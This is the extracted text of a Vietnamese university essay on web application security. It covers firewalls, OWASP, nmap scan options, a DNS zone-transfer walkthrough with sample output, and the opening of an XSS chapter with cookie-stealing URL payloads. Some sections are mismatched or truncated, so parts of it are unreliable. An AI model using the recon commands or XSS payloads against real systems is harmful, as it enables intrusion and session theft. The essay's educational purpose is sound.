1. Trang chủ
  2. » Luận Văn - Báo Cáo

Tiểu luận - an ninh mạng - đề tài - WEB APPLICATION SECURITY ( ĐẢM BẢO AN NINH HỆ THỐNG WEB )

43 5 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề WEB APPLICATION SECURITY (ĐẢM BẢO AN NINH HỆ THỐNG WEB)
Trường học Trường Đại học Quy Nhơn
Chuyên ngành An ninh mạng
Thể loại Tiểu luận
Thành phố Quy Nhơn
Định dạng
Số trang 43
Dung lượng 787,09 KB

Cấu trúc

  • CHƯƠNG 1: TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEB (6)
    • I. Khái niệm ứng dụng Web (6)
    • II. An toàn cho ứng dụng Web (7)
      • 1. Những rủi ro tiềm ẩn của Web Application Firewall - WAF (8)
      • 2. Nhu cầu cấp thiết cho ứng dụng web (8)
      • 3. Giải pháp Web Application Firewall - WAF (10)
      • 4. Giới thiệu Dự án An ninh Ứng dụng Web Mở OWASP (12)
    • III. Một số lỗi bảo mật ứng dụng web thông dụng (13)
      • 1. Tin cậy dữ liệu phía máy khách (13)
      • 2. Không thoát kí tự đặc biệt (0)
      • 3. Lọc ký tự HTML (0)
      • 4. Cơ chế xác thực sử dụng các công nghệ như JavaScript hoặc ActiveX (0)
    • IV. Khám phá thông tin (15)
      • 1. Các đặc tính nhận dạng (15)
      • 2. Tiện ích mở rộng URL (0)
      • 3. Thẻ meta (0)
      • 4. Cookies (0)
      • 5. Tiêu đề Phản hồi HTTP (0)
      • 6. Thông báo lỗi (0)
    • V. Kiểm tra mạng (18)
      • 1. Port Scan Nmap (18)
      • 2. NSLookup/ Reverse DNS (18)
      • 3. DNS Zone Transfer (DIG) - Chuyển vùng DNS (DIG) (19)
  • CHƯƠNG 2. MỘT SỐ PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB 24 I. Một số cách tấn công ứng dụng web (24)
    • 1. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting) 24 Phương pháp tấn công Cross-Site Scripting (XSS) (24)
      • 1.2. Phương pháp tấn công XSS truyền thống (25)
      • 1.3. Tấn công XSS bằng Flash (26)
      • 1.4. Cách phòng chống (27)
      • 1.5. Nhận xét (27)
    • 2. Kỹ thuật ByPass Filter (0)
      • 2.1. Kỹ thuật ByPass Filter XSS thông dụng (28)
      • 2.2. Kỹ thuật ByPass Filter trong UpLoad file (29)
    • 3. Thêm câu lệnh hệ thống (OS COMMAND INJECTION) (0)
      • 3.1. Phát hiện (33)
      • 3.2. Một số biện pháp khắc phục (34)
    • 4. Vượt qua đường dẫn Path/Dirctory Traversal (0)
      • 4.1. Giới thiệu (34)
      • 4.2. Những gì hacker có thể làm nếu website của bạn có lỗ hổng (36)
      • 4.3. Làm thế nào để kiểm tra lỗ hổng Path Traversal (37)
      • 4.4. Ngăn ngừa tấn công Path Traversal (37)
    • 5. Thao tác trên biến ẩn Form (Hidden Form Field Manipulation) (0)
      • 5.1. Phát hiện (38)
      • 5.2. Một số biện pháp khắc phục (38)
    • 6. Thao tác trên HTTP Headers (0)
      • 6.1. Phát hiện (39)
      • 6.2. Một số biện pháp khắc phục (39)
    • 7. Ký tự META( META CHARACTERS) (0)
    • II. Authentication/Authorization (40)
    • III. System Mis-Configurations (40)
  • KẾT LUẬN (41)
  • TÀI LIỆU THAM KHẢO (43)

Nội dung

TỔNG QUAN VỀ BẢO MẬT ỨNG DỤNG WEB

Khái niệm ứng dụng Web

Ứng dụng web là một ứng dụng chủ/ khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác.

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng Internet trên trình duyệt Web yêu thích của họ Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web Server.

Người dùng thường sử dụng một trình duyệt Web như Internet Explorer hay Netscape Navigator Cũng có thể một chương trình đóng vai trò đại lý người dung hoạt động như một trình duyệt tự động Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động mua bán, các diễn đàn, gửi nhận email.

Tốc độ phát triển các kỹ thuật xây dựng ứng dựng web cũng phát triển rất nhanh Ngày nay ứng dụng web thường được viết bằng Java hay các ngôn ngữ tương tự và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu.

Hình 1 Cấu trúc một ứng dụng web

Hoạt động của ứng dụng Web: Đầu tiên trình duyệt sẽ gửi một yêu cầu(request) đến máy chủ Web thông qua các phương thức cơ bản GET, POST…của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như C/C++, PHP, ASP,… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang JSP, JAVAR…theo yêu cầu của trình khách.

Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thong tin do trình khách gửi đến…và từ đó trả về cho trình khách một luồng dữ liệu có định dạng theo giao thức HTTP or HTTPS, nó gồm 2 phần:

 Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và webserver.

 Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kỳ.

Hình 2 Sơ đồ mô tả các rủi ro ở các lớp

An toàn cho ứng dụng Web

Những năm gần đây, các dịch vụ thương mại điện tử như thanh toán trực tuyến, giao dịch trực tuyến ebanking, … phát triển không ngừng Các tiện ích càng được phát triển, các Web server càng phải trang bị hạ tầng mạng chuyên nghiệp nhằm đáp ứng nhu cầu vận hành liên tục và bảo mật hệ thống.

Một hệ thống mạng bảo mật luôn phải đảm bảo các mục tiêu như: Cho phép hoặc cấm những dịch vụ truy cập ra ngoài; Cho phép hoặc cấm những dịch vụ từ ngoài truy cập vào trong; Theo dõi luồng dữ liệu mạng giữa Internet và Intranet (mạng nội bộ); Kiểm soát và cấm địa chỉ truy nhập; Kiểm soát người sử dụng và việc truy cập của người sử dụng; Kiểm soát nội dung thông tin lưu chuyển trên mạng.

1 Những rủi ro tiềm ẩn của Web Application Firewall - WAF

Các dự án về WAF ra đời tính tới thời điểm này đã có rất nhiều sản phẩm ra đời đáp ứng đầy đủ các nhu cầu mà WAF mong muốn Song bên cạnh đó, mạng Internet toàn cầu đang ngày càng phát triển như vũ bão kéo theo rất nhiều rủi ro tiềm ẩn mà các nhà nghiên cứu WAF vẫn chưa tìm ra cách nào ngăn chặn triệt để toàn diện nhất Trong một cuộc khảo sát tổng hợp các rủi ro xảy ra trong môi trường Internet cho thấy có kết quả như sau:

Hình 3 Bảng đánh giá các kiểu tấn công Website

2 Nhu cầu cấp thiết cho ứng dụng web

Thông thường việc bảo vệ các hệ thống mạng đều được giao cho các thiết bịFirewall “truyền thống” Việc theo dõi, giám sát này được Firewall dựa vào địa chỉ

IP nguồn và đích kết hợp với cổng-port của luồng dữ liệu vận hành trong hệ thống mạng.

Một bức tường lửa chuyên dụng sẽ làm các nhiệm vụ như sau:

+ Thiết lập các chính sách cho các kết nối người dùng HTTP thông qua việc chọn lọc nội dung cho máy chủ dịch vụ web.

+ Bảo vệ hệ thống trước các loại hình tấn công phổ biến trên mạng như: Cross-site Scripting (XSS) và SQL Injection, …

+ Ngoài việc những động tác kiểm tra của một bức tường lửa thông thường, WAF sẽ kiểm tra sâu hơn, sẽ kiểm tra các nội dung HTTP ở lớp ứng dụng

Hình 4 Mô hình hoạt động của Firewall

Hình 5 Mô hình hoạt động của Firewall truyền thống

Hình 4 và 5 trên cho chúng ta thấy rõ một vấn đề lớn của hệ thống: luồng dữ liệu kết nối Web (sử dụng giao thức HTTP) từ bên ngoài vào bên trong, truy xuất tới hệ thống dữ liệu Database mà không có sự “giám sát nội dung” của Firewall. Tìm hiểu rõ hơn về cơ chế hoạt động của Firewall truyền thống, chúng ta thấy được một điều là các thiết bị này hoạt động chủ yếu ở 4 tầng đầu tiên trong mô hình OSI, trong khi đó hầu hết các ứng dụng được xây dựng trong hệ thống mạng tuân thủ 3 lớp trên cùng Đây là nguyên nhân khiến Firewall không thể kiểm soát được nội dung của các kết nối từ Web vào Database.

3 Giải pháp Web Application Firewall - WAF

Lớp khóa an toàn (Secure Socket Layer – SSL): là một giao thức được phát triển bởi Netscape để chuyển các tài liệu cá nhân qua Internet SSL sử dụng một hệ thống mật mã sử dụng hai khóa để mã hóa dữ liệu - một khóa công khai được mọi người biết đến và một khóa riêng hoặc bí mật chỉ được biết đến với người nhận tin nhắn.

Hình 6 Mô hình kết nối người dùng HTTP với Web server sử dụng SSL

WAF là giải pháp bảo mật toàn diện và mạnh mẽ dành cho các ứng dụng Web WAF đưa ra một phương thức phòng vệ chống lại các hoạt động như tin tặc, khai thác các lỗ hổng về giao thức Bên cạnh đó, WAF còn cảnh báo cho bạn về những lỗi ứng dụng mà các hacker có thể khai thác, đánh cắp thông tin, gây lỗi từ chối dịch vụ hoặc làm thay đổi giao diện trang web của bạn.

Mục đích chính của WAF là:

+ Ứng dụng mở rộng hoặc chọn lọc cho máy chủ dịch vụ web nhằm thiết lập các chính sách cho các kết nối người dùng HTTP.

+ Bảo vệ hệ thống trước các loại tấn công phổ biến như: Cross-site Scripting (XSS), SQL Injection, …

+ Kiểm tra cả nội dung các truy cập Web sử dụng giao thức HTTP ở lớp ứng dụng

+ Phân tích những yêu cầu và cảnh báo ngay khi có một hoạt động đáng nghi nào đó trên hệ thống.

+ Tăng khả năng hiển thị của lưu lượng website

Việc ứng dụng giải pháp WAF đòi hỏi cả một quá trình triển khai lâu dài vì bản thân môi trường Internet đã luôn chứa đựng nhiều rủi ro: tấn công dịch vụ, mã độc, thư rác, Ngày nay, cùng với nhu cầu phát triển xã hội, dịch vụ thương mại điện tử mang đến nhiều tiện ích: mua bán hàng trên mạng online, giao dịch chứng khoán, đặt vé khách sạn, sân bay, … Những việc này sẽ tạo cơ hội tốt cho kẻ xấu (hacker) tìm cách tấn công, khai thác thông tin.

Giải pháp WAF được đưa ra đáp ứng được nhu cầu bảo mật các ứng dụng web hiện nay, song bên cạnh đó các nhà cung cấp dịch vụ cũng cần phải biết kết hợp với các giải pháp tường lửa truyền thống nhằm mang lại một giải pháp hoàn chỉnh cho toàn hệ thống – điều nay chính là việc của các nhà tích hợp hệ thống cần làm.

Với những yêu cầu và mục tiêu người dùng web đặt ra, các nhà tích hợp hệ thống sẽ tư vấn và xây dựng một hệ thống mạng hoàn chỉnh:

+ Kết nối bên ngoài bao gồm các thiết bị định tuyến kết nối ADSL, Lease- line… cùng các thiết bị cân bằng tải.

+ Kết nối bảo mật: Các thiết bị tường lửa (Firewall), các hệ thống phòng chống tấn công IDS/IPS và phần mềm giám sát hệ thống.

+ Hệ thống máy chủ: Các máy chủ (server) cài đặt hệ điều hành Windows, Linux… và các giải pháp phòng chống virus, chống thư rác (spam mail)

+ Hệ thống lưu trữ: Các thiết bị lưu trữ dữ liệu tích hợp SAN (Storage Area Network)

4 Giới thiệu Dự án An ninh Ứng dụng Web Mở OWASP

Dự án An ninh Ứng dụng Web Mở (Open Web Application Security Project

- OWASP) là tổ chức từ thiện phi lợi nhuận trên toàn cầu, tập trung vào việc nâng cao tính bảo mật của phần mềm Nhiệm vụ của họ là làm cho bảo mật phần mềm có thể nhìn thấy được, để các cá nhân và tổ chức có thể đưa ra những quyết định sáng suốt OWASP nằm ở một vị trí duy nhất cung cấp thông tin vô tư, thiết thực về AppSec cho các cá nhân, các tập đoàn, các trường đại học, các cơ quan chính phủ và các tổ chức khác trên toàn thế giới Hoạt động như một cộng đồng các chuyên gia có cùng quan điểm, OWASP đưa ra các công cụ phần mềm và các tài liệu dựa trên kiến thức về bảo mật ứng dụng.

Mọi người đều có quyền tham gia vào OWASP và tất cả các tài liệu của tổ chức này đều có sẵn dưới giấy phép phần mềm miễn phí và mở Bạn sẽ tìm thấy mọi thứ về OWASP ở đây hoặc được liên kết từ wiki của OWASP và thông tin hiện tại trên OWASP Blog của tổ chức này OWASP không xác nhận hoặc giới thiệu các sản phẩm hoặc dịch vụ thương mại, cho phép cộng đồng chúng ta giữ được trung tâm bán hàng với sự hiểu biết tập thể của những trí tuệ tốt nhất trong bảo mật phần mềm trên toàn thế giới.

Tổ chức này yêu cầu cộng đồng xem xét việc sử dụng không phù hợp thương hiệu OWASP bao gồm việc sử dụng tên, biểu trưng, tên dự án và các vấn đề nhãn hiệu khác của họ.

Có hàng nghìn người dùng wiki đang hoạt động trên khắp thế giới xem xét các thay đổi đối với trang web để giúp đảm bảo chất lượng Nếu bạn là người mới,bạn có thể muốn xem trang bắt đầu của OWASP Là một nhóm tình nguyện viên toàn cầu với hơn 45.000 người tham gia, các câu hỏi hoặc ý kiến cần được gửi đến một trong nhiều danh sách gửi thư của OWASP tập trung vào chủ đề hoặc hướng tới các nhân viên sử dụng OWASP Contact Us Form.

Một số lỗi bảo mật ứng dụng web thông dụng

 Authentication mechanisms using technologies such as JavaScript or ActiveX.

 Lack of re-authenticating the user before issuing new passwords or performing critical tasks.

 Hosting of uncontrolled data on a protected domain

Các lỗi bảo mật ở trên có thể xuất hiện trong tất cả các ứng dụng web, bất kể nó được phát triển bởi các chuyên gia độc lập hay các công ty phần mềm nổi tiếng nhất.

1 Tin cậy dữ liệu phía máy khách

Nguyên nhân là do máy khách (Client) sẽ gửi các gói tin (Packet chứa SYN=1) đến máy chủ (Server) để yêu cầu kết nối Khi nhận được gói tin, máy chủ sẽ gửi lại gói tin SYN/ACK để thông báo cho máy khách biết là nó đã nhận được yêu cầu kết nối và chuẩn bị tài nguyên (dữ liệu) cho yêu cầu này Và cuối cùng máy khách hoàn tất việc “bắt tay” để trao đổi thông tin theo mô hình sau:

5 Không thoát kí tự đặc biệt

Bất cứ thao tác nào của ứng dụng có thực hiện truy vấn tới cơ sở dữ liệu đều có thể bị lợi dụng để tấn công Sql injection Các thao tác cơ bản với CSDL là: select, insert, update đều có thể bị tấn công Có thể kể ra vài thao tác phổ biến có thể tấn công như:

- Kiểm tra đăng nhập ứng dụng.

- Thao tác lưu comment của user xuống DB.

- Thao tác truy vấn thông tin user.

Nguyên nhân chính của việc truy vấn sai này chính là do dữ liệu của tham số truyền vào mã độc được gắn trực tiếp vào Link trang Web, một khi truy cập vào đường Link có chứa mã độc, thì đoạn mã độc sẽ được thực thi.

Các ký tự Null phải được gỡ bỏ.

7 Cơ chế xác thực sử dụng các công nghệ như JavaScript hoặc ActiveX.

Biến truyền vào là ngôn ngữ script phía client, chẳng hạn như javascript, vbscript, XML… Ở các trang đăng nhập hệ thống hoặc các trang buôn bán trực tuyến, người thiết kế web thường dùng các script chèn vào trang html để kiểm tra tính hợp lệ của dữ liệu phía người dùng (client) Bằng cách thay đổi loại ngôn ngữ hoặc thậm chí cài đặt thêm mã bằng ngôn ngữ khác, hacker có thể vượt qua các bộ lọc kiểm tra được cài đặt sẵn trong trang web.

- Thiếu xác thực lại người dùng trước khi phát hành mới mật khẩu hoặc thực hiện các nhiệm vụ quan trọng.

- Lưu trữ dữ liệu không kiểm soát được trên một miền được bảo vệ.

ActiveX là một thư viện khung dùng cho việc định nghĩa các thành phần phần mềm tái sử dụng trong một ngôn ngữ lập trình theo cách độc lập Chương trình ứng dụng có thể được sáng tạo từ một hoặc nhiều thành phần này để cung cấp các hàm chức năng.

Khám phá thông tin

Thu thập thông tin trang web rất hữu ích để tự động hoá các tác vụ nhất định được thực hiện thường xuyên trên các trang web.

1 Các đặc tính nhận dạng

Một web chuẩn SEO sẽ cần đáp ứng cả những tiêu chí của Google, tức là code web dễ đọc có hệ thống Khi Google vào một website tìm hiểu nội dung, website đó phải rất thân thiện với google

Nội dung bài viết hay, hấp dẫn, khoa học, logic và cung cấp đầy đủ thông tin cho người đọc khai thác.

Website phải được thiết kế theo chuẩn W3C.

Code của web phải tối ưu chuẩn SEO, tốc độ load trang nhanh.Thân thiện với người dùng.

Phải liên tục viết bài có nội dung mới lên website

Hoạt động ổn định, bảo mật cao.

8 Tiện ích mở rộng URL

URL, viết tắt của Uniform Resource Locator (Định vị Tài nguyên thống nhất), được dùng để tham chiếu tới tài nguyên trên Internet URL mang lại khả năng siêu liên kết cho các trang mạng Các tài nguyên khác nhau được tham chiếu tới bằng địa chỉ, chính là URL, còn được gọi là địa chỉ mạng hay là liên kết mạng (hay ngắn gọn là liên kết).

HTML cho phép bạn chỉ định các siêu dữ liệu-thông tin quan trọng được thêm vào về một tài liệu trong các cách khác nhau Các phần tử META có thể được sử dụng bao gồm các cặp tên/giá trị miêu tả đặc tính quyền sở hữu trong HTML, như tên tác giả, hạn sử dụng, danh sách các từ khóa….

Thẻ được sử dụng để cung cấp các thông tin thêm như vậy Thẻ này là một phần tử trống và không có thẻ đóng nhưng nó lại mang thông tin trong thuộc tính của nó.

Với các trang Web mang tính thương mại thì thẻ meta là một trong các nhân tố quan trọng cho SEO Việc tối ưu hóa thẻ meta càng tốt sẽ giúp cho trang Web của bạn càng nhanh lên top khi được tìm kiếm bởi Google.

Cookies là một đoạn văn bản mà một Web server có thể lưu trên ổ cứng của người dùng Cookies cho phép một website lưu các thông tin trên máy tính của người dùng và sau đó lấy lại nó Các mẩu thông tin sẽ được lưu dưới dạng cặp tên – giá trị (name-value).

Ví dụ, một website có thể tạo một số ID duy nhất cho mỗi khách truy cập và lưu số ID đó trên mỗi máy tính người dùng bằng một file cookies.

Nếu sử dụng Internet Explorer của Microsoft để duyệt web, có thể thấy tất cả các cookies được lưu trên máy tính Địa điểm mà chúng thường trú là trong thư mục có tên c:\windows\cookies Khi quan sát thư mục đó trên máy tính sẽ thấy rất nhiều file Mỗi file là một file văn bản có chứa các cặp tên – giá trị và có một file cho mỗi một website đã đặt cookies trên máy tính.

11 Tiêu đề Phản hồi HTTP

HTTP là viết tắt của Hypertext Transfer Protocol Đó là tập hợp các quy tắc chuẩn dành cho việc biểu diễn dữ liệu, application-layer giao thức cho giao tiếp giữa hệ thống phân phối, và là nền tảng của các web hiện đại.

HTTPS là một giao thức được sử dụng để cung cấp bảo mật qua Internet. HTTPS đảm bảo với người dùng rằng họ đang nói chuyện với máy chủ họ mong đợi và không ai khác có thể đánh chặn hoặc thay đổi nội dung mà họ đang nhìn thấy khi chuyển tiếp.

Nếu có bất cứ thứ gì mà người dùng của bạn muốn riêng tư, bạn chỉ nên sử dụng HTTPS để phân phối nó Tất nhiên điều này có nghĩa là áp dụng cho thẻ tín dụng và các trang đăng nhập (và URL mà họ gửi đến) Ví dụ một form đăng nhập thường sẽ thiết lập một cookie sẽ được gửi cùng với mọi yêu cầu khác đến trang của bạn mà người dùng đăng nhập tạo ra và được sử dụng để xác thực các yêu cầu đó. Một kẻ tấn công ăn cắp được thông tin này sẽ có thể bắt chước (giả mạo) người dùng một cách hoàn hảo và tiếp quản phiên đăng nhập của họ Để đánh bại các loại tấn công này, bạn hầu như luôn muốn sử dụng HTTPS cho toàn bộ trang web của mình. Điều đó không còn khó khăn và tốn kém như trước nữa Hãy để Encrypt cung cấp các xác nhận hoàn toàn miễn phí và tự động, bạn sẽ cần HTTPS, các tool cộng đồng hiện có sẵn cho một loạt các nền tảng và framework chung để tự động thiết lập.

Hãy cẩn thận với lượng thông tin bạn đưa ra trong các thông báo lỗi của mình Chỉ nên cung cấp lỗi nhỏ cho người dùng, để đảm bảo rằng họ không làm rỏ rỉ bí mật trên máy chủ (ví dụ như các key API hoặc các password của DB) Không cung cấp đầy đủ chi tiết ngoại lệ vì những điều này có thể làm cho các cuộc tấn công phức tạp như SQL injection trở nên dễ dàng hơn Giữ các lỗi chi tiết trong nhật ký server và chỉ cung cấp cho user thông tin họ cần.

Kiểm tra mạng

Scan port là một trong những bước đầu tiên để tấn công vào một hệ thống, để hiểu được các phương thức scan chúng ta có thể dùng nmap để thực hiện Sau đó cách chúng ta cấm Scan đó là sử dụng các thiết bị chuyên dụng như IPS, IDS để detect và ngăn chặn tấn công Nmap là một tool scan port rất mạnh và được giới hacker tin dùng Nó hỗ trợ toàn bộ các phương thức scan port, ngoài ra nó còn hỗ trợ các phương thức scan hostname, service chạy trên hệ thống đó.

Nmap hiện giờ có cả giao diện đồ họa và giao diện command line cho người dùng, chạy trên cả môi trường NIX và Windows.

- Các dạng Scan nmap hỗ trợ.

Nmap –sU: đó là sử dụng UDP Scan

Nmap –sP: sử dụng Ping để scan

Nmap –sF: sử dụng FIN Scan

Nmap –sX: sử dụng phương thức XMAS Scan

Nmap –sN: sử dụng phương thức NULL Scan

Nmap –sV: sử dụng để Scan tên các ứng dụng và version của nó

Nmap –SR /I RPC sử dụng để scan RPC

Sử dụng khả năng tìm kiếm tên máy chủ của tra cứu đảo ngược DNS để tìm tất cả các mục nhập DNS ngược lại cho một tổ chức cụ thể Đơn giản chỉ cần nhập tên của một tổ chức tên miền example.com để có được kết quả Hiện kết quả được giới hạn ở tối đa 5000 kết quả - điều này thường chỉ là vấn đề đối với các công ty dịch vụ Internet lớn và ISP.

Phần lớn dữ liệu được sử dụng cho tìm kiếm tên máy chủ lưu trữ xuất phát từ dự án scans.io tuyệt vời đã bị loại khỏi các phòng thí nghiệm Rapid7 Cơ sở dữ liệu các mục nhập DNS ngược được cập nhật lần cuối vào ngày 11/10/16 và bao gồm không gian địa chỉ IPv4 đầy đủ Điều này tương đương với 57 GB bản ghi DNS PTR văn bản thuần túy.

- Trường hợp các mục nhập DNS ngược được sử dụng

Nhiều dịch vụ Internet, công cụ mạng và đăng nhập máy chủ sẽ sử dụng DNS ngược để điền vào các trường địa chỉ IP với một tên máy con có thể đọc được của nhiều người hơn Một ví dụ của điều này có thể được nhìn thấy trong đầu ra của một công cụ traceroute.

Reverse DNS được cấu hình và kiểm soát bởi các chủ sở hữu khối IP Tên máy chủ DNS ngược lại sẽ được cấu hình để chỉ chủ sở hữu netblock chẳng hạn như ISP hoặc nhà cung cấp dịch vụ lưu trữ web.

Nếu bạn đang lưu trữ một máy chủ với một địa chỉ IP chuyên dụng và muốn có cấu hình DNS ngược (yêu cầu nếu bạn đang chạy một máy chủ thư Internet). Bản ghi PTR thường sẽ được định cấu hình thông qua nhà cung cấp lưu trữ chặn IP của bạn (thường là công ty lưu trữ máy chủ).

Ngoài biểu mẫu web, cũng có thể truy cập nhanh công cụ DNS ngược bằng API Đầu ra sẽ ở dạng văn bản thuần túy và sẽ bao gồm địa chỉ IP và tên máy chủ lưu trữ DNS ngược với một không gian cách nhau Truy cập API sử dụng trình duyệt web, cuộn tròn hoặc bất kỳ ngôn ngữ kịch bản thông thường nào.

3 DNS Zone Transfer (DIG) - Chuyển vùng DNS (DIG)

Một trong những cấu hình sai nghiêm trọng mà người quản trị hệ thống có thể mắc phải là cho phép người dùng Internet không đáng tin cậy được tiến hành chuyển vùng DNS.

Chuyển vùng (Zone Transfer) cho phép máy phục vụ phụ cập nhật cơ sỡ dữ liệu từ máy chính Như vậy là làm dư thừa khi chạy DNS, nhỡ như máy phục vụ tên chính không khả dụng Nói chung, máy phục vụ DNS phụ chỉ cần chuyển vùngDNS Thế nhưng nhiều máy phục vụ DNS bị lập cấu hình sai và cung cấp bản sao vùng cho người nào yêu cầu không nhất thiết là xấu nếu thông tin cung cấp liên quan đến hệ thống nối mạng Internet và có tên máy chủ hợp lệ, dẫu tạo điều kiện dễ dàng cho kẻ tấn công tìm thấy đích.Vấn đề thực sự nảy sinh khi tổ chức không áp cụng cơ chế DNS cổng riêng để cách ly thông tin DNS ngoài (công khai) với thông tin DNS trong Cung cấp thông tin địa chỉ IP trong cho người dùng không đáng tin cậy qua mạng Internet cũng giống như cung cấp bản đồ trong của tổ chức.

Chúng ta hãy xem xét một vài phương pháp chuyển vùng,và các loại thông tin.Tuy có nhiều công cụ chuyển vùng, ở đây chỉ giới thiệu vài loại phổ biến mà thôi.

Cách đơn giản để chuyển vùng là dùng máy khách “nslookup” thường do thi hành UNIX và NT mang lại Chúng ta áp dụng “nslookup” trong chế độ tương tác với nhau:

Default Server: ns1.example.net

Address: 10.10.20.2 Name: gate.tellurian.net Address:10.10.20.2 >set type=any

>ls -d tellurian.net >>/tmp/zone_out Đầu tiên chúng ta chạy “nslookup” trong chế độ tương tác Một khi khởi động xong, nó sẽ cho biết máy phục vụ tên mặc định,thường là máy phục vụ DNS của tổ chức hoặc máy phục vụ DNS của người cung cấp dịch vụ Internet.Tuy nhiên,máy phục vụ DNS không có thẩm quyềncho vùng đích,nên sẽ không có hết thảy mẫu tin DNS Bởi vậy, chúng ta cần tự tay cho “nslookup” biết là sẽ truy vấn máy phục vụ DNS nào Trong ví dụ này,chúng ta dùng máy phục vụ DNS chính cho Tellurian network.

Tiếp theo chúng ta định loại mẫu tin là “any” Tác vụ này cho phép bạn kéo mẫu tin DNS bất kì (man nslookup) cho danh sách hoàn chỉnh.

Sau cùng,liệt kê toàn bộ mẫu tin liên quan đến vùng bằng tuỳ chọn “ls”.”-d” liệt kê tất cả mẩu tin vùng Chúng ta thêm “ ” ở cuối câu để cho biết tên vùng hội đủ điều kiện, song đa phần là để vậy Hãy đổi hướng kết quả và tập tin

“/tmp/zone_out” để có thể thao tác sau này.

Chuyển vùng xong, chúng ta xem trong tập tin coi có thông tin lý thú nào cho phép nhắm đến hệ thống cụ thể không Hãy xem kết quả sau:

[bash] more zone_out acct18 1D IN A 192.168.230.3 1D IN HINFO

1D IN RP- bsmith.rci bsmith.who

1D IN TXT “Location:Telephone Room” ce 1D IN CNAME aesop au 1D IN A 192.168.230.4

1D IN HINFO “aspect” “MS-DOS”

1D IN RP jcoy.erebus jcoy.who

1D IN TXT “Location: Library” acct21 1D IN A 192.168 230.5

1D IN MX 0 tellurianadmin-smtp 1D IN RP bsmith.rci bsmith.who 1D IN TXT “Location: Acounting”

Chúng ta sẽ không đi chi tiết từng mẫu tin,chỉ lưu ý vài loại quan trọng Đối với mỗi mục nhập, chúng ta có mẫu tin A cho biết địa chỉ IP của tên hệ thống nằm bên phải Ngoài ra, mỗi máy chủ đều có mẩu tin HINFO nhận diện nền hoặc loại hệ điều hành đang chạy (RFC-952) Mẩu tin HINFO tuy không cần thiết song cung cấp nhiều thông tin cho kẻ tấn công Vì chúng ta đã lưu kết quả chuyển vùng vào tập tin đầu ra nên dễ dàng thao tác kết quả bằng chương trình UNIX như: grep,sed,awk,hoặc Perl.

MỘT SỐ PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB 24 I Một số cách tấn công ứng dụng web

Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting) 24 Phương pháp tấn công Cross-Site Scripting (XSS)

Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ Bằng cách thêm một đoạn mã bất kì (thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này

1.1 Phương pháp tấn công Cross-Site Scripting (XSS)

Phương pháp tấn công Cross-Site Scripting (XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập những thông tin quan trọng như cookie,… vào mã nguồn của ứng dụng web để từ đó chúng được chạy như một phần của ứng dụng web và có chức năng cung cấp hoặc thực hiện một số điều hacker mong muốn.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công vào máy của người sử dụng Hacker sẽ lợi dụng sự lỏng lẻo của hệ thống, hiểu biết hạn chế của người dùng cũng như đánh vào sự tò mò của họ dẫn đến chiếm đoạt được các thông tin quan trọng 1 cách dễ dàng.

Thông thường hacker sử dụng liên kết URL đã gắn thêm những đoạn mã được viết bằng ngôn ngữ trình duyệt như JavarScript hay VBScript,… nhằm thực thi trên máy của nạn nhân

Ví dụ: http://www.test.com/index.php?page=alert(‘document.cookie’);

Hay: http://www.test.com/search.php?search_text=%3Cscript%3Ealert

Phần in đậm chính là nội dung mà hacker thêm vào nhằm mục đích đánh cắp cookie của nạn nhân Ví dụ trên chỉ minh họa 1 cách rất đơn giản trong kỹ thuật tấn công này là thêm đoạn mã vào URL, nhưng có rất nhiều cách để thêm đoạn mãJavarScript trong kỹ thuật tấn công XSS này Một số ví dụ khác về cách thêm các đoạn mã:

Các phần in đậm là nơi mà hacker có thể đặt các đoạn mã nhằm đánh cắp thông tin.

1.2 Phương pháp tấn công XSS truyền thống Ứng dụng thường lưu trữ các thông tin quan trọng ở cookie, cookie là mẩu thông tin mà ứng dụng lưu trên ổ đĩa cứng của máy người dùng nhưng chỉ những ứng dụng thiết lập cookie thì mới có thể đọc nó Chính vì thể chỉ những người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội sử dụng kỹ thuật XSS để đánh cắp cookie Công việc đầu tiên của hacker khi đã tìm ra một ứng dụng bị lỗ hổng XSS là dụ người dùng đăng nhập vào ứng dụng web đó.

Các bước thực hiện kỹ thuật tấn công XSS truyền thống:

Bước 1: Hacker tìm ra lỗ hổng XSS trên một ứng dụng web.

Bước 2: Người dùng đang trong phiên làm việc trên ứng dụng nhận được một liên kết thông qua email hay trên chính ứng dụng đó Thông thường hacker dụ người dùng chú ý đến những liên kết đó bằng những câu kích thích sự tò mò như: Kiểm tra tài khoản hay một phần thưởng đang chờ bạn,…

